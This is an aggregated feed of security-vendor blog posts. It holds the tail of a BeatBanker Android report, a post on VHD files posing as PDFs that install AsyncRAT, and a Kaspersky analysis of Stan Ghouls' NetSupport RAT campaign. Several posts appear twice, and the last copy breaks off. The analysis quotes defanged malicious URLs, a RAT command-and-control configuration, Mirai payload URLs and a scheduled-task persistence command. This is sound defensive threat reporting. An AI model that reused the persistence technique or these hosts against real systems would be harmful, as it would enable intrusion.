Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

  1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
  2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
  3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

Open the wrong “PDF” and attackers gain remote access to your PC

5 February 2026 at 14:48

Cybercriminals behind a campaign dubbed DEAD#VAX are taking phishing one step further by delivering malware inside virtual hard disks that pretend to be ordinary PDF documents. Open the wrong “invoice” or “purchase order” and you won’t see a document at all. Instead, Windows mounts a virtual drive that quietly installs AsyncRAT, a backdoor Trojan that allows attackers to remotely monitor and control your computer.

It’s a remote access tool, which means attackers gain remote hands‑on‑keyboard control, while traditional file‑based defenses see almost nothing suspicious on disk.

From a high-level view, the infection chain is long, but every step looks just legitimate enough on its own to slip past casual checks.

Victims receive phishing emails that look like routine business messages, often referencing purchase orders or invoices and sometimes impersonating real companies. The email doesn’t attach a document directly. Instead, it links to a file hosted on IPFS (InterPlanetary File System), a decentralized storage network increasingly abused in phishing campaigns because content is harder to take down and can be accessed through normal web gateways.

The linked file is named as a PDF and has the PDF icon, but is actually a virtual hard disk (VHD) file. When the user double‑clicks it, Windows mounts it as a new drive (for example, drive E:) instead of opening a document viewer. Mounting VHDs is perfectly legitimate Windows behavior, which makes this step less likely to ring alarm bells.

Inside the mounted drive is what appears to be the expected document, but it’s actually a Windows Script File (WSF). When the user opens it, Windows executes the code in the file instead of displaying a PDF.

After some checks to avoid analysis and detection, the script injects the payload—AsyncRAT shellcode—into trusted, Microsoft‑signed processes such as RuntimeBroker.exe, OneDrive.exe, taskhostw.exe, or sihost.exe. The malware never writes an actual executable file to disk. It lives and runs entirely in memory inside these legitimate processes, making detection and eventually at a later stage, forensics much harder. It also avoids sudden spikes in activity or memory usage that could draw attention.

For an individual user, falling for this phishing email can result in:

  • Theft of saved and typed passwords, including for email, banking, and social media.
  • Exposure of confidential documents, photos, or other sensitive files taken straight from the system.
  • Surveillance via periodic screenshots or, where configured, webcam capture.
  • Use of the machine as a foothold to attack other devices on the same home or office network.

How to stay safe

Because detection can be hard, it is crucial that users apply certain checks:

  • Don’t open email attachments until after verifying, with a trusted source, that they are legitimate.
  • Make sure you can see the actual file extensions. Unfortunately, Windows allows users to hide them. So, when in reality the file would be called invoice.pdf.vhd the user would only see invoice.pdf. To find out how to do this, see below.
  • Use an up-to-date, real-time anti-malware solution that can detect malware hiding in memory.

Showing file extensions on Windows 10 and 11

To show file extensions in Windows 10 and 11:

  • Open Explorer (Windows key + E)
  • In Windows 10, select View and check the box for File name extensions.
  • In Windows 11, this is found under View > Show > File name extensions.

Alternatively, search for File Explorer Options to uncheck Hide extensions for known file types.

For older versions of Windows, refer to this article.


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Open the wrong “PDF” and attackers gain remote access to your PC

5 February 2026 at 14:48

Cybercriminals behind a campaign dubbed DEAD#VAX are taking phishing one step further by delivering malware inside virtual hard disks that pretend to be ordinary PDF documents. Open the wrong “invoice” or “purchase order” and you won’t see a document at all. Instead, Windows mounts a virtual drive that quietly installs AsyncRAT, a backdoor Trojan that allows attackers to remotely monitor and control your computer.

It’s a remote access tool, which means attackers gain remote hands‑on‑keyboard control, while traditional file‑based defenses see almost nothing suspicious on disk.

From a high-level view, the infection chain is long, but every step looks just legitimate enough on its own to slip past casual checks.

Victims receive phishing emails that look like routine business messages, often referencing purchase orders or invoices and sometimes impersonating real companies. The email doesn’t attach a document directly. Instead, it links to a file hosted on IPFS (InterPlanetary File System), a decentralized storage network increasingly abused in phishing campaigns because content is harder to take down and can be accessed through normal web gateways.

The linked file is named as a PDF and has the PDF icon, but is actually a virtual hard disk (VHD) file. When the user double‑clicks it, Windows mounts it as a new drive (for example, drive E:) instead of opening a document viewer. Mounting VHDs is perfectly legitimate Windows behavior, which makes this step less likely to ring alarm bells.

Inside the mounted drive is what appears to be the expected document, but it’s actually a Windows Script File (WSF). When the user opens it, Windows executes the code in the file instead of displaying a PDF.

After some checks to avoid analysis and detection, the script injects the payload—AsyncRAT shellcode—into trusted, Microsoft‑signed processes such as RuntimeBroker.exe, OneDrive.exe, taskhostw.exe, or sihost.exe. The malware never writes an actual executable file to disk. It lives and runs entirely in memory inside these legitimate processes, making detection and eventually at a later stage, forensics much harder. It also avoids sudden spikes in activity or memory usage that could draw attention.

For an individual user, falling for this phishing email can result in:

  • Theft of saved and typed passwords, including for email, banking, and social media.
  • Exposure of confidential documents, photos, or other sensitive files taken straight from the system.
  • Surveillance via periodic screenshots or, where configured, webcam capture.
  • Use of the machine as a foothold to attack other devices on the same home or office network.

How to stay safe

Because detection can be hard, it is crucial that users apply certain checks:

  • Don’t open email attachments until after verifying, with a trusted source, that they are legitimate.
  • Make sure you can see the actual file extensions. Unfortunately, Windows allows users to hide them. So, when in reality the file would be called invoice.pdf.vhd the user would only see invoice.pdf. To find out how to do this, see below.
  • Use an up-to-date, real-time anti-malware solution that can detect malware hiding in memory.

Showing file extensions on Windows 10 and 11

To show file extensions in Windows 10 and 11:

  • Open Explorer (Windows key + E)
  • In Windows 10, select View and check the box for File name extensions.
  • In Windows 11, this is found under View > Show > File name extensions.

Alternatively, search for File Explorer Options to uncheck Hide extensions for known file types.

For older versions of Windows, refer to this article.


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Stan Ghouls targeting Russia and Uzbekistan with NetSupport RAT

5 February 2026 at 10:00

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

Example of a phishing email from a previous Stan Ghouls campaign

Example of a phishing email from a previous Stan Ghouls campaign

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

Example of a spear-phishing email from the latest campaign

Example of a spear-phishing email from the latest campaign

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

The embedded decoy document

The embedded decoy document

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

  • Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
  • Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

  1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”

    Fake error message

    Fake error message

  2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”

    The limitCheck procedure for verifying the number of RAT download attempts

    The limitCheck procedure for verifying the number of RAT download attempts

  3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.

    The performanceResourceUpdate procedure for downloading the remote management utility

    The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The createBatAndRun procedure for creating and executing the run.bat file, which then launches the NetSupport RAT

The createBatAndRun procedure for creating and executing the run.bat file, which then launches the NetSupport RAT

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

  1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):

    The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

    The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

  2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).

    The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

    The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

  3. It creates a scheduled task to trigger run.bat using the following command:
    schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"

    The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

    The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

  • hxxp://www.hgame33[.]com/00101010101001/morte.spc
  • hxxp://hgame33[.]com/00101010101001/debug
  • hxxp://www.hgame33[.]com/00101010101001/morte.x86
  • hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
  • hxxp://www.hgame33[.]com/00101010101001/morte.arm7
  • hxxp://www.hgame33[.]com/00101010101001/morte.sh4
  • hxxp://hgame33[.]com/00101010101001/morte.arm
  • hxxp://hgame33[.]com/00101010101001/morte.i686
  • hxxp://hgame33[.]com/00101010101001/morte.arc
  • hxxp://hgame33[.]com/00101010101001/morte.arm5
  • hxxp://hgame33[.]com/00101010101001/morte.arm6
  • hxxp://www.hgame33[.]com/00101010101001/morte.m68k
  • hxxp://www.hgame33[.]com/00101010101001/morte.ppc
  • hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
  • hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

  1. Substantial code overlaps were found within the malicious loaders. For example:
    Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

    Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

    Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

    Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

  2. Decoy documents in both campaigns look identical.
    Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

    Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

    Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

    Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

  3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

Stan Ghouls targeting Russia and Uzbekistan with NetSupport RAT

5 February 2026 at 10:00

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

Example of a phishing email from a previous Stan Ghouls campaign

Example of a phishing email from a previous Stan Ghouls campaign

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

Example of a spear-phishing email from the latest campaign

Example of a spear-phishing email from the latest campaign

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

The embedded decoy document

The embedded decoy document

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

  • Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
  • Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

  1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”

    Fake error message

    Fake error message

  2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”

    The limitCheck procedure for verifying the number of RAT download attempts

    The limitCheck procedure for verifying the number of RAT download attempts

  3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.

    The performanceResourceUpdate procedure for downloading the remote management utility

    The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The createBatAndRun procedure for creating and executing the run.bat file, which then launches the NetSupport RAT

The createBatAndRun procedure for creating and executing the run.bat file, which then launches the NetSupport RAT

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

  1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):

    The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

    The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

  2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).

    The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

    The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

  3. It creates a scheduled task to trigger run.bat using the following command:
    schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"

    The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

    The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

  • hxxp://www.hgame33[.]com/00101010101001/morte.spc
  • hxxp://hgame33[.]com/00101010101001/debug
  • hxxp://www.hgame33[.]com/00101010101001/morte.x86
  • hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
  • hxxp://www.hgame33[.]com/00101010101001/morte.arm7
  • hxxp://www.hgame33[.]com/00101010101001/morte.sh4
  • hxxp://hgame33[.]com/00101010101001/morte.arm
  • hxxp://hgame33[.]com/00101010101001/morte.i686
  • hxxp://hgame33[.]com/00101010101001/morte.arc
  • hxxp://hgame33[.]com/00101010101001/morte.arm5
  • hxxp://hgame33[.]com/00101010101001/morte.arm6
  • hxxp://www.hgame33[.]com/00101010101001/morte.m68k
  • hxxp://www.hgame33[.]com/00101010101001/morte.ppc
  • hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
  • hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

  1. Substantial code overlaps were found within the malicious loaders. For example:
    Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

    Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

    Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

    Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

  2. Decoy documents in both campaigns look identical.
    Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

    Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

    Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

    Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

  3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

